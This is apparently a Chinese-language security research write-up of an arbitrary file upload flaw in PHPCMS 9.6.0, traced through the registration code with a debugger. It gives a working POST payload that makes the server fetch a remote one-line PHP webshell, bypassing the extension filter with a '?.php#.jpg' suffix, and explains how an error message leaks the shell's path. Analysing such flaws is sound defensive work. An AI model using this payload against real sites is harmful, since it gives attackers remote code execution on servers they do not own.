环境:
phpstudy本地搭建phpcms
apache2.4.39+php5.3.29+mysql8.0.12
漏洞影响版本:
PHPCMS 9.6.0
POC:
首先需要在1.txt中写入一句话木马
siteid=1&modelid=11&username=test&password=123456&email=test@qq.com&info[content]=<img src=http://127.0.0.1/1.txt?.php#.jpg>&dosubmit=1&protocol=
然后用post提交poc
这里将会得到一句话木马文件的地址,就可以成功getshell了
测试:
1、该漏洞产生于于phpcms/modules/member/index.php中的register函数中,这里我们通过xdebug来进一步跟进
因为我们的payload存在于info变量中,所以我们需要关注对info变量处理的代码
在135行可以看到对$_POST['info']变量的值传入到了get函数进行处理,所以我们在134加上断点,然后跟进查看。
这里使用array_map调用回调函数‘new_html_special_chars’将我们的payload中的'<'和'>'转译为html实体字符
<img src=http://127.0.0.1/1.txt?.php#.jpg>
2、跟进get函数
1 function get($data) { 2 $this->data = $data = trim_script($data); 3 $model_cache = getcache('member_model', 'commons'); 4 $this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename']; 5 6 $info = array(); 7 $debar_filed = array('catid','title','style','thumb','status','islink','description'); 8 if(is_array($data)) { 9 foreach($data as $field=>$value) { 10 if($data['islink']==1 && !in_array($field,$debar_filed)) continue; 11 $field = safe_replace($field); 12 $name = $this->fields[$field]['name']; 13 $minlength = $this->fields[$field]['minlength']; 14 $maxlength = $this->fields[$field]['maxlength']; 15 $pattern = $this->fields[$field]['pattern']; 16 $errortips = $this->fields[$field]['errortips']; 17 if(empty($errortips)) $errortips = "$name 不符合要求!"; 18 $length = empty($value) ? 0 : strlen($value); 19 if($minlength && $length < $minlength && !$isimport) showmessage("$name 不得少于 $minlength 个字符!"); 20 if (!array_key_exists($field, $this->fields)) showmessage('模型中不存在'.$field.'字段'); 21 if($maxlength && $length > $maxlength && !$isimport) { 22 showmessage("$name 不得超过 $maxlength 个字符!"); 23 } else { 24 str_cut($value, $maxlength); 25 } 26 if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips); 27 if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage("$name 的值不得重复!"); 28 $func = $this->fields[$field]['formtype']; 29 if(method_exists($this, $func)) $value = $this->$func($field, $value); 30 31 32 33 $info[$field] = $value; 34 } 35 } 36 return $info; 37 }
这里2-4行是对模型的配置进行了加载,并且获取了该模型的表名,这里的表名为member_detail
表结构:
接下来的6-27行是引入content中的一些名字、最小长度、最大长度、错误输出等配置,来检查我们的输入是否符合要求
28-29行将content中的formtype的值作为函数名来执行,这里的的值为editor
3、跟进editor函数
1 function editor($field, $value) { 2 $setting = string2array($this->fields[$field]['setting']); 3 $enablesaveimage = $setting['enablesaveimage']; 4 $site_setting = string2array($this->site_config['setting']); 5 $watermark_enable = intval($site_setting['watermark_enable']); 6 $value = $this->attachment->download('content', $value,$watermark_enable); 7 return $value; 8 }
2-5行对content的配置进行了导入
4、跟进download函数
1 function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '') 2 { 3 global $image_d; 4 $this->att_db = pc_base::load_model('attachment_model'); 5 $upload_url = pc_base::load_config('system','upload_url'); 6 $this->field = $field; 7 $dir = date('Y/md/'); 8 $uploadpath = $upload_url.$dir; 9 $uploaddir = $this->upload_root.$dir; 10 $string = new_stripslashes($value); 11 if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value; 12 $remotefileurls = array(); 13 foreach($matches[3] as $matche) 14 { 15 if(strpos($matche, '://') === false) continue; 16 dir_create($uploaddir); 17 $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref); 18 }
3-5行对上传文件的配置进行导入
7-10行对文件的路径网站路径和文件的绝对路径生成
11-16行对content的值进行一个正则匹配,其中变量matches[3]是src或者href后的url地址
17行将对匹配出来的url进行一个分析
5、跟进fillurl函数
1 function fillurl($surl, $absurl, $basehref = '') { 2 if($basehref != '') { 3 $preurl = strtolower(substr($surl,0,6)); 4 if($preurl=='http://' || $preurl=='ftp://' ||$preurl=='mms://' || $preurl=='rtsp://' || $preurl=='thunde' || $preurl=='emule://'|| $preurl=='ed2k://') 5 return $surl; 6 else 7 return $basehref.'/'.$surl; 8 } 9 $i = 0; 10 $dstr = ''; 11 $pstr = ''; 12 $okurl = ''; 13 $pathStep = 0; 14 $surl = trim($surl); 15 if($surl=='') return ''; 16 $urls = @parse_url(SITE_URL); 17 $HomeUrl = $urls['host']; 18 $BaseUrlPath = $HomeUrl.$urls['path']; 19 $BaseUrlPath = preg_replace("/\/([^\/]*)\.(.*)$/",'/',$BaseUrlPath); 20 $BaseUrlPath = preg_replace("/\/$/",'',$BaseUrlPath); 21 $pos = strpos($surl,'#'); 22 if($pos>0) $surl = substr($surl,0,$pos); 23 if($surl[0]=='/') { 24 $okurl = 'http://'.$HomeUrl.'/'.$surl; 25 } elseif($surl[0] == '.') { 26 if(strlen($surl)<=2) return ''; 27 elseif($surl[0]=='/') { 28 $okurl = 'http://'.$BaseUrlPath.'/'.substr($surl,2,strlen($surl)-2); 29 } else { 30 $urls = explode('/',$surl); 31 foreach($urls as $u) { 32 if($u=="..") $pathStep++; 33 else if($i<count($urls)-1) $dstr .= $urls[$i].'/'; 34 else $dstr .= $urls[$i]; 35 $i++; 36 } 37 $urls = explode('/', $BaseUrlPath); 38 if(count($urls) <= $pathStep) 39 return ''; 40 else { 41 $pstr = 'http://'; 42 for($i=0;$i<count($urls)-$pathStep;$i++) { 43 $pstr .= $urls[$i].'/'; 44 } 45 $okurl = $pstr.$dstr; 46 } 47 } 48 } else { 49 $preurl = strtolower(substr($surl,0,6)); 50 if(strlen($surl)<7) 51 $okurl = 'http://'.$BaseUrlPath.'/'.$surl; 52 elseif($preurl=="http:/"||$preurl=='ftp://' ||$preurl=='mms://' || $preurl=="rtsp://" || $preurl=='thunde' || $preurl=='emule:'|| $preurl=='ed2k:/') 53 $okurl = $surl; 54 else 55 $okurl = 'http://'.$BaseUrlPath.'/'.$surl; 56 } 57 $preurl = strtolower(substr($okurl,0,6)); 58 if($preurl=='ftp://' || $preurl=='mms://' || $preurl=='rtsp://' || $preurl=='thunde' || $preurl=='emule:'|| $preurl=='ed2k:/') { 59 return $okurl; 60 } else { 61 $okurl = preg_replace('/^(http:\/\/)/i','',$okurl); 62 $okurl = preg_replace('/\/{1,}/i','/',$okurl); 63 return 'http://'.$okurl; 64 } 65 }
这个函数的重点是第21、22行,这里写意图应该是想把#号去掉,但是也能将#号后面的内容也去掉,所以我们用来绕过的#.jpg就被去掉了
然后返回的值就是http://127.0.0.1/1.txt?.php
6、执行完毕fillurl函数回到download函数,执行完后返回$oldpath,$newpath,$value的值
1 unset($matches, $string); 2 $remotefileurls = array_unique($remotefileurls); 3 $oldpath = $newpath = array(); 4 foreach($remotefileurls as $k=>$file) { 5 if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue; 6 $filename = fileext($file); 7 $file_name = basename($file); 8 $filename = $this->getname($filename); 9 10 $newfile = $uploaddir.$filename; 11 $upload_func = $this->upload_func; 12 if($upload_func($file, $newfile)) { 13 $oldpath[] = $k; 14 $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename; 15 @chmod($newfile, 0777); 16 $fileext = fileext($filename); 17 if($watermark){ 18 watermark($newfile, $newfile,$this->siteid); 19 } 20 $filepath = $dir.$filename; 21 $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext); 22 $aid = $this->add($downloadedfile); 23 $this->downloadedfiles[$aid] = $filepath; 24 } 25 } 26 return str_replace($oldpath, $newpath, $value); 27 }
所以这里的第6行就把php当作了文件的ext,然后通过getname函数随机生成文件名称,其所生成的
然后第12行copy了变量$file中的内容,也就是我们文本中的一句话木马
7、回到editor函数并返回$value值,回到get函数并返回$info值
8、回到register函数,开始对数据插入表中
1 if(pc_base::load_config('system', 'phpsso')) { 2 $this->_init_phpsso(); 3 $status = $this->client->ps_member_register($userinfo['username'], $userinfo['password'], $userinfo['email'], $userinfo['regip'], $userinfo['encrypt']); 4 if($status > 0) { 5 $userinfo['phpssouid'] = $status; 6 //传入phpsso为明文密码,加密后存入phpcms_v9 7 $password = $userinfo['password']; 8 $userinfo['password'] = password($userinfo['password'], $userinfo['encrypt']); 9 $userid = $this->db->insert($userinfo, 1); 10 if($member_setting['choosemodel']) { //如果开启选择模型 11 $user_model_info['userid'] = $userid; 12 //插入会员模型数据 13 $this->db->set_model($userinfo['modelid']); 14 $this->db->insert($user_model_info); 15 }
在第14行插入$user_model_info的时候由于数据类型不同会报错,就可以获取我们上传文件的路径,从而getshell了